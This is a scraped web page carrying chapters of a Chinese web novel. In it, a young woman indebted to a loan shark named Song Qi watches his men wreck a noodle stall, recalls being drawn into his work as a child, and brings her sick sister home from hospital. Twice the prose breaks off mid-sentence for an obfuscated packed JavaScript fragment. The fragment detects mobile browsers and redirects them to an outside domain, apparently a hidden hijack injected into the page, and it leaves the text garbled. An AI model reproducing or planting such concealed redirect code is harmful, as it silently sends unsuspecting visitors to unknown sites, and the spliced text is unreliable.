程一冉的善意就是这样,风 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可现在,那个风风火火的女人哭得几乎喘不上气,那人见人爱的好孩子站在那里,她僵着肩膀,像一根快要折断的稻草。 她忽然觉得,这一幕看上去有些说不上来的熟悉。 那种熟悉,不是因为万秀,不是因为程一冉,而是因为——她也曾站在这里,站在一片被生活打碎的狼藉里,知道那种动弹不得的感觉。 风一阵阵地吹进来,把楼下的声音刮得破碎。 万秀的哭声断断续续,程一冉抿紧了嘴唇,像是想把那些情绪压回去,压得整个人都僵硬了。 她移开目光,垂下眼皮,看着窗框上一道早已开裂的缝隙,里面的木头干瘪得快要剥落,仿佛只要用手轻轻一抠,就能散成一堆粉末。 这世界就是这样,谁也不比谁站得稳当。有人躲在明处,有人躲在暗处,到最后都被同一阵风吹得七零八落。 阮云琛觉得讽刺,但那点讽刺并不是冷笑。 ——只是认命罢了。 她们面前的几个男人站得松散,黑色皮鞋踩在脏水里,皮夹克的衣角被风撩起,姿态随意,像是几只饱腹之后的野狗,围着摊子打着呵欠。 阮云琛的目光一寸寸移向巷口,像是被什么牵引着,无法控制地落在那里。 ——那辆车。 巷口停着一辆黑色轿车,车身光滑得像一块冰冷的铁板,隐在暗处,灯光从它的顶棚掠过,被反射成一抹冰凉的光亮。 车门没有完全关上,半虚掩着,像一张张开又合不拢的嘴,静静地停在那儿,守着那片被砸得稀烂的狼藉。 车牌号落在光影的边缘,被黑暗吞掉了一半,可阮云琛还是一眼认了出来。 ……太熟悉了。 太熟悉了。 阮云琛只觉得自己的心像是被钉了一下,钉得很准,连一丝痛感都没有,只有那股寒意,顺着胸腔直直地窜上来,攥紧了她的呼吸。 38. 黑色的车 她的目光停在那辆黑色轿车上,像是钉在那里,再也移不开。 它安静地停在巷口,车身被路灯照得发亮,窗户半降,车门微微开着,像是一张早已吞噬过无数东西的嘴,静静地张在那里,等待下一场捕食。 她当然记得它。 那是她九岁那年,在棋牌室门口第一次见到它的。 那间棋牌室脏兮兮的,门把手上沾满了油污,屋里烟雾缭绕,麻将碰撞的声音此起彼伏,透过门缝流淌出来,像是一种难闻的湿气,黏在她的皮肤上。 她记得宋祈就是从那辆车里出来的。 那天她站在门口,瘦得像是一根风吹就倒的草,脸上擦了一道伤,很疼,她盯着门口那辆车看了很久。 她看着叼着烟的宋祈从车上下来,进了棋牌室。她犹豫了很久很久,才终于鼓足了勇气进去。 宋祈的目光扫过她时,带着点挑剔的兴味,像是在看一件刚到手的货物。 “我是来谈条件的。”阮云琛记得自己的声音很小,但是她知道宋祈那个怪物能听得到。 她记得宋祈笑了一下,将嘴里的烟吐出来,抬手拍了拍她的脸。那一下不重,却让她本能地僵住了。 那天是她第一次握刀。 手指微微发抖,连带着整个人都站得不稳,但她最终还是走了进去。 她的父亲倒在地上,血从刀口里涌出来,刺鼻的腥味混着空气中的烟味,让她觉得像是掉进了一个泥泞又冰冷的深坑。 阮云琛记得那日最后,在警察到来之前,这辆车就停在巷子口。 宋祈坐在车上看着她,笑笑地不说话,接着吐了口烟圈,扬长而去。 再后来,警察把她和淼淼一起送进了福利院。 她从那道冰冷的铁门里望出去,看见的还是那辆车——停在门外,黑得像一头匍匐在暗处的野兽。 车窗半降,副驾驶上那个男人吐着烟圈,目光透过铁栅栏,扫过她,带着点笑意,像是在等她什么时候自己爬出来。 “答应我的事,别忘了。”那人说。 那时候她什么都不懂——又或许什么都懂。 她知道,从那辆车来时起,一切都控制不住了。 她开始给宋祈做工,每次出去发传单时,那辆车都会准时停在福利院的巷口。 车灯一亮,她的心脏就会沉下去,像是被一只无形的手揪住了,提不上来,也落不下去。 那辆车的到来意味着她要去做什么见不得人的事:传话、送东西……活不大,但脏,脏得她几次回到福利院都觉得自己像是被油污裹满了一样,洗也洗不干净。 那辆车后来成了她记忆里最深的东西,也成了她最恐惧的东西。 逃出福利院以后,她彻底被宋祈拽进了那辆车的后座。 黑色的车门一开一合,把她像货物一样吞进去,再带到城市的角落里,塞给她一堆收债单子。 再往后她坐在拳场的角落里,盯着时间一分一秒地过去,看着对手倒下,等那辆车重新停在巷口,车灯一亮,把她从夜色里撕扯出来。 每一次有车的时候,阮云琛的心都会微微发紧。 她知道,那意味着这个“活”不干净,不轻松——脏得像是浸透了煤灰,压得她喘不上气。 那是洪水猛兽,是黑色的深渊。 哪怕阮云琛闭着眼,她也能在脑海里勾勒出这辆车的轮廓——轮胎旁的泥痕,车窗下被烟灰烫出的一个小洞,还有后座那张永远泛着烟草味的座椅。 这辆车从来都没有变过。 而现在,它又停在那里。 车顶上笼着一层薄薄的水雾,灯光打下来的冷色调,冰凉而沉默。黑色的车身像是一头匍匐的野兽,静静地潜伏在巷口,呼吸微弱却随时准备扑上来。 阮云琛的心像是被人狠狠钉了一下,钉得很准,连痛感都没有,只有那股寒意,顺着胸腔直直地攀爬上来,攥紧了她的呼吸。 她闭了闭眼,脑海里闪过那些年,那辆车的引擎声——从棋牌室门口开始,开到了福利院的铁门外,再到那些脏街巷的拐角。 车门打开,像是缓缓张开的嘴,把她从铁锈味的门后带走,从麻将桌旁塞进拳场,又把一张张浸着汗水和泪水的钞票吐出来。 那是噩梦。 而噩梦总会在某个不经意的时刻重新张开嘴巴,提醒她它还在,提醒她逃不掉。 车里副驾驶的位置上,有人低着头抽烟,指间的火星一闪一灭。 烟雾缭绕,一层一层飘出半开的车窗,让那块玻璃雾蒙蒙的,什么也看不清楚——可阮云琛不用仔细看也知道是谁。 那人坐在那里,姿态慵懒得过分,像是看腻了这一场狼藉,随手点燃一根烟,就能打发掉眼前的所有无聊。 ——宋祈。 他来了。 阮云琛的眼神沉下去,指尖下意识地攥紧了窗框,骨节微微泛白。 楼下的万秀还在哭着,声音被风吹得破碎,像是细小的刀子刮过耳膜。 程一冉站在她旁边,身形僵硬得像一尊雕塑,她一动不动地盯着眼前的一切,仿佛还没完全反应过来这场灾难是如何砸到自己头上的。 光与影相互交错,街灯将地上的狼藉勾出一片模糊的光晕。 而宋祈终于动了。 车门推开,动静很轻。 一只脚踩了下来,黑色的皮靴踏在地上,发出一声钝响。 随后,一个男人从车里走出来,单手搭着外套,动作懒散得好像是刚从温暖的房间里被拽出来。 风将他的衣摆掀起,又很快落回去,他指间点燃一根烟,烟火在黑暗里一闪一灭,将他唇角那一丝笑意晕染得格外清晰。 随即,男人懒散的身影出现在了昏黄的灯光里。 他一手随意地搭着外套,单薄的衬衫下肩膀线条分明,却没有半分多余的力量感,反倒透着一种从容不迫的虚伪。 风从巷口灌进来,掀起他的衣摆,他却不急不慢地把外套往肩上一披,抖了抖衣袖,嘴角勾着一抹意味不明的笑。 阮云琛看着他,目光里一点情绪都没有,像是多年被风吹过的石头,早就磨平了所有的锋利。 宋祈走得很慢,像是在巡视,仿佛这片狼藉的地面不过是一场表演,他是导演,更是审判者。 他的皮鞋踩过地上的面汤,碎瓷片发出细碎的脆响,洒了一地的狼藉被他踩成一团。 ——那双眼睛里没有半点怜悯,有的只是居高临下的轻蔑,像是在巡视他的领地,顺便把这场闹剧的每一个细节都踩在脚下。 宋祈走到面摊的正中,停了下来。 他并不急着说话,而是点了根烟,火光在他指尖跃了一下,随即被烟雾掩盖。他微微抬起头,仿佛闲庭信步般打量四周,一手夹着烟,另一手慢条斯理地抖了抖衣袖上的灰尘。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14931948|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “再宽几天?”他的声音传出来,沙哑而懒散,尾音带着一丝笑意,却让人不寒而栗,“你说得轻巧,可这账,我倒是没听说过能拖到天荒地老的。” 万秀的哭声骤然一滞,声音卡在喉咙里,她死死地攥着那口煤气罐,眼里闪烁着惊恐与绝望。 阮云琛听到身后的男孩动了一下,似乎想探头去看发生了什么。她反手按住了他的肩膀,力道不重,但却带着一种不容抗拒的压迫。 “别抬头。”她的声音低而冷,透着一股难以掩饰的寒意。 男孩愣了一下,抬头看她,眼神里透着一丝迷茫与不安。但在她冰冷的眼神下,他终于乖乖地低下头,肩膀微微蜷缩了一些,像是把自己缩进了一个安全的壳里。 阮云琛松开手,背脊有些发凉。 她重新把目光投向窗外,宋祈依旧站在那里,烟已经燃到了半截,火星明明灭灭,他似乎已经等得有些不耐烦。 他动作轻飘飘地吐出一口烟雾,目光缓缓向上扫过楼面,从四周人群的脸上扫过,最后定定地停在了阮云琛所在的窗口。 四目相对的瞬间,阮云琛感觉到了一种久违的寒意。那种熟悉的寒意像一根细长的针,悄无声息地插进了她的胸口。 阮云琛知道他为什么来——他是在警告她。 宋祈的目光没有任何迟疑,穿过了昏黄的街灯,穿过了那层破旧的玻璃窗,精准而缓慢地落在她的脸上,像是一只被拉满的弓箭,安静得仿佛下一秒就能将她钉死在原地。 他可能......已经知道了。 不、他一定知道了。 知道她把那个男孩带回了家,知道她又一次多出了一个“无关紧要”的东西。 阮云琛没有动,指尖依旧按在窗框上,指节泛白。玻璃的凉意透过皮肤,像是冰水顺着骨缝一点点渗进去,把她整个人冻住了。 宋祈站得很稳,甚至有几分散漫,他的眼神没有任何起伏,只是静静地看着她,像是在审视,又像是在打量一个习惯性脱逃的宠物——那目光下,她的每一个动作,每一次呼吸,都被看得一清二楚。 他不会放过她。 阮云琛很清楚,宋祈就像跗骨之蛆,一旦缠上,便再也甩不开。 他不会让任何“意外”发生在他的掌控之外。他的脚步一旦踏进某人的生活,就会在那个人的影子里留下永远挥之不去的痕迹,如同一枚浸满锈蚀的钉子,钉进血肉里,日复一日地腐蚀下去。 他已经钉在了她的生活里,从九岁那年开始,一步一步,把她推向他布好的网。 ——她想过逃,可是她逃不了。 那辆车,那座棋牌室,还有福利院铁门外的第一声试探。 宋祈的存在,就像一条藏在水下的毒蛇,平日里静静潜伏,一旦她试图多做一步,甚至多喘一口气,那双眼睛便会在阴影中睁开,紧紧盯住她,冷冰冰地吐着信子。 他会笑,笑得轻描淡写,却足以把她的脊背冻透。 阮云琛不敢眨眼。 窗外的风像是刀刃,在她脸侧刮过。 她听见楼下万秀的哭声变得越来越小,像是被风一点点吞噬。周围那些围观的人群退得更远了些,仿佛本能地察觉到了危险,悄无声息地让出了空地。 宋祈像是一个孤立于暴风中心的猎人。 下一秒,他的笑意更深了些,举起烟,朝她的方向微微晃了晃。 39. 宣传单 那动作像是一种问候,又像是一种施舍,轻飘飘的,却压在了阮云琛的胸口,重得几乎让她喘不过气。 ——我看着你。 这个意思,不言而喻。 宋祈在警告她,你的生活、你的家、你那些微不足道的念头,都逃不过我的眼睛。 他......想做什么? 宋祈的目光穿透街灯与玻璃窗,落在阮云琛脸上,那笑意带着一贯的闲散,却像是一层透明的网,慢慢收紧,令人动弹不得。 他抽完最后一口烟,将烟头随手掷在地上,脚尖碾了碾,那团微弱的火光熄灭在泥泞之中,仿佛将这场闹剧的气氛压得更低了一层。 随后,他拍了拍手,视线缓慢地扫过四周那片狼藉的面摊,目光在万秀的身上停留了片刻。 “行了,宽限你们几天吧。”他的声音不大,却像是一颗石子落在水面,带着不容置喙的威压。 “一个星期,记住了,一个星期之后,我再来。” 万秀坐在地上,哭声一下子卡在了喉咙里,像是突然被掐住了脖子。她抬起头,眼泪混着灰尘在脸上晕开,声音哆哆嗦嗦:“谢谢……谢谢祈哥……我一定还,我一定还……” “你还得起?”站在一旁的收债人冷笑一声,手里甩着那根木棍,皮鞋在地面上不耐烦地跺了跺,溅起一片脏水。 他似乎想再威胁几句,但宋祈却微微抬了抬手,示意他闭嘴。 宋祈轻轻扯了扯嘴角,笑意里带着点漫不经心的残忍:“好好珍惜这几天吧。” 他说完,转过身,慢悠悠地朝着那辆车走回去,皮鞋踏在地上的声音一点一点,像是故意踩在人心头上。 阮云琛的目光跟着他,一直落在那辆黑色轿车上。 她知道,这所谓的“宽限一周”,不过是换一种方式加点利息,再加一把锁,让人不得不继续向前趴着走。 这种戏码,宋祈最拿手。 把人逼到绝境,再适时松开手,扔下一点希望,让人以为终于能透口气了——可一低头,才发现脚下踩的是流沙,越挣扎越深,最后淹没到胸口,连喘息都成了奢望。 那些欠债人掉进过这般泥潭,她自己也是同样。 阮启明欠下的那笔钱,她早该还得差不多了。 可宋祈从不让她算清,也从不打算让这笔账真正结束。他总有新的名目、新的理由——“替你兜着事,知道吗?” “兜着事”三个字,说得云淡风轻,背后却拴着铁链,把她绑在原地,让她成了宋祈手底下最听话的一条狗。 他说,是替她处理了那晚的后果,没让她被拖进派出所,让她的日子还能继续下去。 可阮云琛清楚,那不过是他给的又一个陷阱。 她杀了人,他替她兜着,可“兜”字背后有太多东西:她的自由、她的选择,还有她对未来仅存的一点可能性。 这些年,她无数次被拽回来,踩在这个泥潭里,看着自己一点点陷下去,手里握着的东西越来越少,直到再也攥不住什么。 万秀欠下的钱款,绝不足以能让宋祈亲自来收。 而他会来的原因...... 阮云琛知道,他是在警告她—— 一如既往,他在时而不时变着法儿地警告她,他什么都看得到。 “这世道什么人都有,想干脏活的去别处。和安堂的事,不碰毒品,也不做黄。这是规矩。” 宋祈一直这样强调。 说得冠冕堂皇,好像不触及红线就等于是没有违法犯罪,可那灰色线中的“高利贷”,却可以成为压垮甚至压死人的稻草。 阮云琛当然知道她自己的路是自己选择走的。 那时候的她走投无路,眼前只有这么一个选项,那边只能是选择这么一项。 可现在...... 阮云琛忽地在想—— 现在,是时候了吗? 宋祈走了。 车尾气混着散不去的烟还弥留在空气之中,被天上飘下的细雨一点点打进了泥土里。 地上的油污浸上了水,油星子散成了十来个油花儿,万花筒一样,每一个都印着不同又相似的景象——哭着的脸,惨白的脸,恐惧的脸,还有楼上窗台前阮云琛的脸。 楼下的哭喊声渐渐停歇了下来,只剩下风声钻进巷子的缝隙里,像是拧不干的潮湿。 屋内的灯光暖黄,却照不亮阮云琛的面孔。 她松开手,窗帘重新垂下来,将那些喧嚣和狼藉一并关在了外面。 背后的男孩一言不发,但阮云琛能感觉到他的目光。 沉默、平静,又有些说不清的重量。那目光就像一面干净的镜子,把她此刻的一切——楼下的狼藉、宋祈的压迫、她那一瞬间的慌乱——照得清清楚楚。 ——他什么都没问。 他可能什么都知道。 他当然什么都知道。 他每天坐在桥底,看着她出门、回来,再出门、再带着一身伤会来。 看着她在夜色里把自己扯得越来越薄,像是被风吹得摇摇欲坠的一片影子。 他不会问她去了哪里,也不会问她在做什么,但她知道,他一定猜到了。 猜到她没在做什么光彩的事情,猜到她没在干什么正经的活计。 她每次走回桥下时,步子拖得很慢,鞋底沾着灰尘,像是一脚踩进了泥潭又缓慢地拔出来。 男孩总会坐在那里,像一个安静的影子,偶尔抬头看她一眼,什么都不说,然后又低下头去,继续用那双瘦削的手去扒拉自己的小小天地。 这种无声的注视,阮云琛并不陌生。 她见过很多目光,有些目光带着打量,有些带着警惕,还有些带着伪善的怜悯。 那些目光总是试图把她钉住,把她的生活翻过来搅一遍,再带着几分沾沾自喜地离开。 但男孩却什么都不做,也什么都不说,就只是看着,安静得像是从无尽的深渊里长出来的一棵草,一动不动,却在风里扎了根。 那种沉默的注视像是一种陪伴,安静却有些沉重。 阮云琛忽然觉得烦躁,抬手捏了捏眉心,坐回桌旁。灯光从她肩头斜下来,把她的侧脸笼罩在半明半暗之间,连表情也变得模糊。 “小额贷款,无需担保,让孩子有学可上”。 那张泛黄的纸忽然浮现在她脑海里,像是一根细长的针,悄无声息地扎进她的神经。 她想起来了——那是她在福利院发过的传单之一。 宋祈的生意,从来都是这样,披着一张“体面”的皮,专门骗那些走投无路的人。 阮云琛甚至能够想得到当年万秀拿到那张传单时的神情。 她一定是站在她的脏面摊后面,手里攥着纸,像是攥住了一根救命稻草。 万秀是个单亲母亲,面摊赚的钱勉强够填饱肚子,可程一冉要上学,学费、生活费、书本钱,每一笔都像一座山,压得她直不起腰来。 ——“借一点点,就一点点,程一冉也能继续念书。” 阮云琛不难想象万秀当时的模样——带着几分试探,又带着几分自我安慰。 那张纸上的“短期无息”看起来那么体面,可她不知道,那不过是刀尖上的糖,尝一口,就会掉进万劫不复的深渊。 利滚利,一张传单,最后就能把人彻底逼进死角。 窗外的风忽然大了起来,吹得玻璃微微颤动,发出一丝细碎的震响。阮云琛抬起头,看向桌上的咸菜盘,那些油腻的菜叶在灯光下泛着幽暗的光。 ——那张传单,是她递出去的。 阮云琛从不觉得自己干净,甚至习惯了脏东西缠着自己,可这一刻,她还是觉得胸口堵得慌,像是有什么东西硬生生卡在那里。 她垂下眼,指尖轻轻摩挲着窗框的边缘,凉意一点点从皮肤渗进去,浸得骨头缝里都透着一股凉。 她知道自己不该想太多。 那些从过去浮上来的画面、楼下的嘈杂、宋祈那一声轻飘飘的警告,像一根绷得太紧的弦,搅在她脑子里,越拽越乱。 屋子里安静得过分,只有风轻轻拍打着窗玻璃,像是一只无形的手,一下又一下地按在她的胸口上,堵得她喘不上气。 阮云琛抬手揉了揉眉心,指腹碾过那道微微皱起的纹路,动作里透着一丝不耐烦,像是想要把那些缠绕在心头的乱线生生扯断。 过了几秒,她忽然动作一顿,猛地站起身,把盘子推到一边,声音冷静得近乎刻意:“时间还早,先学习吧。” 男孩抬起头,目光里带着一丝愣怔,显然没有反应过来她怎么突然冒出这么一句话。 阮云琛没看他,弯腰从桌角的塑料袋里拿出一摞崭新的课本,封面上还带着没撕干净的塑料膜,光滑得有些刺眼。 她随手翻了一本:“我买了五年级的课本,本来打算给淼淼之后用,但她还没出院……你先看吧。” 她的声音淡淡的,没有半点起伏,仿佛刚才那些堵在胸口的情绪从未存在过,仿佛她只是随口提了一件再平常不过的事。 男孩沉默地接过课本,指尖碰到书页时轻轻抖了一下。他低着头,垂在额前的头发挡住了眼神,看不出他在想什么。 阮云琛站在那里,视线淡淡地落在桌上,那一摞整整齐齐的课本显得突兀又多余,仿佛她硬生生地从别处扯过来,强行塞进了这个满是寒意的屋子里。 “好好看看吧。”她补了一句,语气依旧平淡,像是刻意掩盖着什么,又像是要把那些无法言说的情绪牢牢摁回去。 她向后靠在椅背上,目光微微下垂,仿佛在盯着什么,又仿佛什么都没看。 ——这样就好了。 胡思乱想是没用的。 她早就学会了,不管外面是什么样的风浪,心里是什么样的死结,都要踩住地面,让自己像钉子一样扎在原地,一步也别乱。 明天去接淼淼出院,然后,给她办复学手续。 ……对,一步也别乱。 屋里安静了下来,只有钟表的秒针在墙上滴滴答答地走着,平静得像什么事都没有发生过。 男孩坐在桌边,指尖轻轻抠着书页边缘,动作细小却漫无目的,偶尔抬起眼看她一眼,视线里带着点沉默的试探。 阮云琛没有再看他,只是拿起桌上的空碗,搁进了水池里。水流冲在瓷碗上,发出“哗啦”的声响,在这份安静里显得有些刺耳。 背后的椅子忽然轻轻挪动了一下。 “我得……先走了。” 阮云琛的动作停住了,手指还搭在水龙头上,风吹过窗帘的缝隙,把那句话轻飘飘地带散了。 “你——”她回过头,眉心微微皱起,仿佛想要说什么,却又顿住了。 男孩站在那里,双手不自然地攥着书包带子,眼神微垂,像是在等她开口,又像是故意回避什么。他的声音有些轻,带着点克制的镇定:“时间不早了……谢谢你的习题册。” 那双习惯性沉静的眼睛在这一刻多了点温吞的情绪,里面藏着一丝小心翼翼的试探,又迅速收敛回去。 阮云琛看着他,手指无意识地抠了抠洗碗池边的瓷面,声音淡淡的:“……路上小心。” 男孩微微一愣,但很快,他又垂下眼,轻声应了一句:“嗯。” 窗外的风忽然大了一些,窗帘被吹得晃了晃。屋子里再次陷入沉默,连水流声都被阮云琛关掉了。 阮云琛站在那里,没有再挽留,也没有再开口。她看着男孩略显瘦削的背影走到门口,脚步轻得像是生怕踩碎这片安静。 门被拉开又轻轻关上,门缝里透进一丝夜色,冷风顺势灌了进来,吹在阮云琛脸上,凉得刺骨。 阮云琛盯着那扇门看了几秒,忽然觉得有些烦躁,伸手将窗帘狠狠拉了下来,窗外的灯光被隔绝得干干净净。 空气里只剩下自己的呼吸声,和那份突然间空下来的沉默。 ……明天,去接淼淼出院。 胡思乱想是没用的。 她这么告诉自己。 第二天一早,天色还没完全亮起来。巷子里的湿气凝在空气里,墙根下的青苔被水打湿,散发着一股淡淡的潮气。灰蒙蒙的光从巷口透进来,把一切都笼罩在一层薄薄的雾气里。 阮云琛打开门,正要走出去,目光却在门槛上一顿。 男孩蜷缩在墙角,背靠着门边,头微微低垂着,似乎是睡着了。 他身上的衣服单薄得不成样子,袖口和裤腿已经磨出毛边,昨夜的凉意把他冻得蜷成了一团,瘦削的肩膀被晨风吹得微微颤抖。 听见门响,男孩抬起头,眼睛还带着一点没睡醒的迷蒙,却很快清醒过来,视线落在阮云琛脸上。他像是条件反射一般地站了起来,动作有些急,擦过膝盖时带起一丝尴尬的灰尘。 没人说话。 阮云琛站在那里,看着他微微发红的手指,看到昨夜湿气还留在他的裤脚上,面料皱皱巴巴,贴在他瘦弱的小腿上。 风从楼梯间的窗户缝儿灌了进来,带着水汽,轻轻拂过他的发梢和脸颊,嘴唇有些泛白。 阮云琛看着他,目光淡淡地扫过那双冻得发红的手指,心里像是被什么揪了一下。那感觉来的莫名其妙,像是一颗没剥干净的砂砾,硌得她不太舒服。 “你......什么时候来的?”她问。 “刚来。”男孩说。 阮云琛收回目光,视线落在地上那摊未干的水渍上。半晌,她轻轻吐了口气,声音不咸不淡地开口:“走吧。” 男孩眼底闪过一丝微不可察的情绪,像是松了口气,又像是习惯了她这样的冷淡。他低低地“嗯”了一声,跟在她身后,步子很轻,生怕踩碎了什么。 巷口的地上有些污水,偶尔有汽车驶过,水花溅起,空气里弥漫着汽油和尘土的味道。 阮云琛走在前面,余光扫过身后的人,他安静得像是不存在一般,不吭声,也不问去哪里,像是早已习惯了她的一言堂。 她忽然觉得,这份顺从让她莫名地觉得刺耳,像是一道细细的锯齿,在耳膜上来回摩擦,轻得几乎听不见,却又无孔不入。 阮云琛忽然想起昨晚他走出门时的背影,微微弓着的肩膀,步子迈得不算快,像是走在一片看不见底的荒原上。 现在,他又回来了,站在门口,手指冻得发红,嘴上却说着“刚来”。 “刚来”——多么干脆的谎话。 她没有拆穿,也没必要拆穿。 男孩总是这样,小心翼翼地试探着她能给的界限,像是一只知道分寸的野犬,从不主动靠近,但也从未真正走远。 巷口的地上积着一滩污水,汽车从身旁驶过,车轮碾过水坑,溅起的泥点打湿了她的裤脚。 阮云琛抿了抿嘴,垂下眼,看着地面上映出的两道影子——她的影子笔直而冷硬,而男孩的影子却微微弯着,肩膀垂下来,像是背着什么无形的东西。 这种安静,就像一口深井,黑洞洞的,往里看,什么都没有,看不见底。 他们一路坐车到了医院。 走廊里的灯光惨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14938540|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白,消毒水的味道呛人。 阮云琛走得很快。 病房的窗帘半掩着,清晨的阳光透过窗户洒进来,淡淡地铺在地面上,把整个房间照得温暖而柔和。 墙角的消毒水味还没散尽,白色的病床上挂着一块叠得整整齐齐的毯子,旁边的仪器已经关了电,安静得像从未存在过。 淼淼坐在床边,双腿晃晃悠悠地垂着,一只脚踩在拖鞋里,另一只光着的,脚趾无意识地蜷着。 她穿着一件有些大的毛衣,袖口堆了一截,像一团刚从水里捞出来的云,软乎乎地裹在她瘦小的身体上。 那毛衣是因为阮云琛前阵子买错了尺码。 她记得很清楚,那天的店员笑盈盈地说:“九、十岁的小女孩,穿这个尺寸正合适。” 阮云琛下意识地点了头,没想太多,等拿回家后才发现,毛衣的肩线垮下来,袖子长得能盖住半只手掌,淼淼穿上像是套了个麻袋。 她那时才反应过来,九岁的小孩,若是能吃能睡,自然是这个尺寸——但淼淼...... 阮云琛站在原地,目光落在淼淼那无意识蜷着的脚趾上,又扫过她细细的小胳膊。 那毛衣柔软温暖,却更衬得里面的骨架单薄得像一根细竹竿。 她心底某个地方被忽地揪了一下——像是一根细线,被微风吹过时抖了抖,几乎看不见的疼,却扎得她的神经不知为何格外敏感。 但随即,她又轻轻吐出一口气,像是悄悄把那点揪紧的情绪压了下去。 ——医生说,淼淼的病情目前相对稳定,手术疗程暂时可以停一停,回家观察一段时间。 ……这是好事。 这是好事。 阮云琛握紧了手中的布袋,指尖抵在那块粗糙的布料上,有一下没一下地摩挲着。那细小的摩擦声被房间里的安静吞没了,她的目光重新落回淼淼身上。 “淼淼,穿上鞋,脚别凉着。”她说。 淼淼听话地“哦”了一声,把那只光着的脚滑进拖鞋里,然后抬起头看向她,眼睛亮亮的:“姐姐,你来了!” 她笑得很开心,眼角弯弯的,像是天光落进了她瞳仁里,连带着病房那一片白色的墙壁都变得不那么刺眼了。 阮云琛忽然觉得,这毛衣大点也没什么不好,至少软软的,能把她整个人包住。 她抬手扯了扯淼淼的袖口,把那层堆起来的毛线捋平:“再长点,明年还能穿。” “嗯!”淼淼重重点了点头,笑眯眯地说,“等我长高了,就能穿得刚刚好了!” 阮云琛忍不住笑了笑。 “医生姐姐说,我今天可以出院了!”淼淼扬着声音,一边说一边抬手拍了拍自己瘦小的胸口,像是在宣告某个重要的节日到来。 她的声音清脆又软糯,在病房里回荡,驱散了些许消毒水的味道带来的压抑感。 阮云琛没应声,只是微微弯下腰,帮她把一只快要滑掉的拖鞋重新踩稳。她的动作有些慢,但手指却比平时更用力,仿佛在为这句话寻找某种更踏实的落脚点。 淼淼像是没注意到她的沉默,抬起头,眼睛亮得像清晨的星星:“姐姐,最近我肚子都不痛了!你看——” 她伸出小手指着自己的肚子,软乎乎地按了两下,脸上满是得意。 “一点都不疼啦!” 不等阮云琛说话,淼淼又格外自豪地扭了扭身子,一副神气的模样:“医生姐姐说,我比其他小朋友都听话!那些小伙伴总是哭着不肯打针,可我一点都不怕!” 阮云琛抬起眼看着她,目光淡淡的,脸上没有多余的表情,但手却轻轻地拍了一下她的小脑袋:“嗯,厉害。” “姐姐,我跟你说哦!”淼淼一边把拖鞋换成鞋面完整的小皮鞋,一边咧着嘴笑,“昨天新来的小孩哭得可厉害了,他怕得不行,结果医生姐姐给了他一颗糖,他就不哭了。” 她边说边掏出了一个小糖纸,满脸得意地递到阮云琛面前,“这颗是给我的奖励!医生姐姐说我特别棒!” 糖纸皱巴巴的,显然被攥了很久,表面的印花都有些模糊了。阮云琛没有伸手去接,只是低头看了一眼,又看了看淼淼亮晶晶的眼睛。 “奖励就自己留着。”她说,声音很淡,但尾音轻微地扬了一点,带着一点难以察觉的柔和。 淼淼眼珠转了转,忽然歪着头笑了:“那我就留着,等回家给姐姐吃!” 病房里洒进一片冷清的日光,墙上斑驳的阴影随着窗外树枝的摆动轻轻晃动。病床边的医用架子还挂着最后一瓶盐水,半透明的液体一滴一滴地落下,发出轻微的响声。 阮云琛转头看了一眼架子,手掌不自觉地贴上淼淼的后背,把她往外拉了一点,免得她靠着那个晃晃悠悠的金属架子。 淼淼的手脚乖巧地往前挪了一步,却又抬头看着阮云琛,神秘兮兮地凑近,压低了声音说:“姐姐,医生姐姐说等我再好一点,就可以去学校了!可以跟小伙伴们一起上课!” 她的语气透着按捺不住的兴奋,却又像怕太大声会吓走这份期待似的。 阮云琛没有立刻回答。 她的目光在淼淼那过于稚嫩的小脸上停留了几秒,又垂下眼睛,盯着那双穿着小皮鞋的脚,鞋面在光线里泛着温润的光泽。 “再观察一阵子。”她淡淡地说,声音轻得像一片羽毛,但尾音里带着某种不容置疑的力量。 淼淼“哦”了一声,显然有些失落,但她抿了抿嘴,又扬起一个笑容:“那姐姐,你陪我回家,好不好?” 阮云琛没有答话,只是蹲下了身,替她把毛衣的领口拉了一下,动作轻缓,却是无声的肯定。 淼淼当然知道阮云琛会答应。 她开心地咯咯笑着,毫不吝啬地给了阮云琛一个大大的拥抱, 阮云琛没有答话,只是蹲下身,伸手替她把毛衣的领口拉了一下,动作轻缓,指腹拂过那针脚细密的毛线,像是在确认什么,又像是在轻轻掸去不存在的灰尘。 那动作轻得不像话,却是无声的肯定。 淼淼眨了眨眼,嘴角的笑容一下子漾开了,像一朵迎着阳光盛放的小花。她忽然伸出两只细瘦的胳膊,抱住了阮云琛的脖子,力道不轻不重,但有些迫不及待。 阮云琛一时没防备,身体微微往前倾了倾,猝不及防地被她往下一拽,差点一个踉跄跪在地上。 她反手撑了撑地面,眼角微不可察地抽了一下。 “慢点。”阮云琛低声说,语气里带着一丝无奈。 可淼淼却笑得更开心了,笑声清脆又软糯,带着一点得逞的小骄傲。 她矮矮的个子抱不全阮云琛,只能把脑袋用力地往她的肩膀上蹭,动作有些笨拙,却带着一种不容拒绝的黏人劲儿。 她的呼吸拂在阮云琛的肩头,小小的、暖暖的,透着一点孩子独有的奶香。 “姐姐,你怎么这么高呀,”淼淼嘟囔着,语气里还带着一丝撒娇,“以后我也会长这么高吗?” 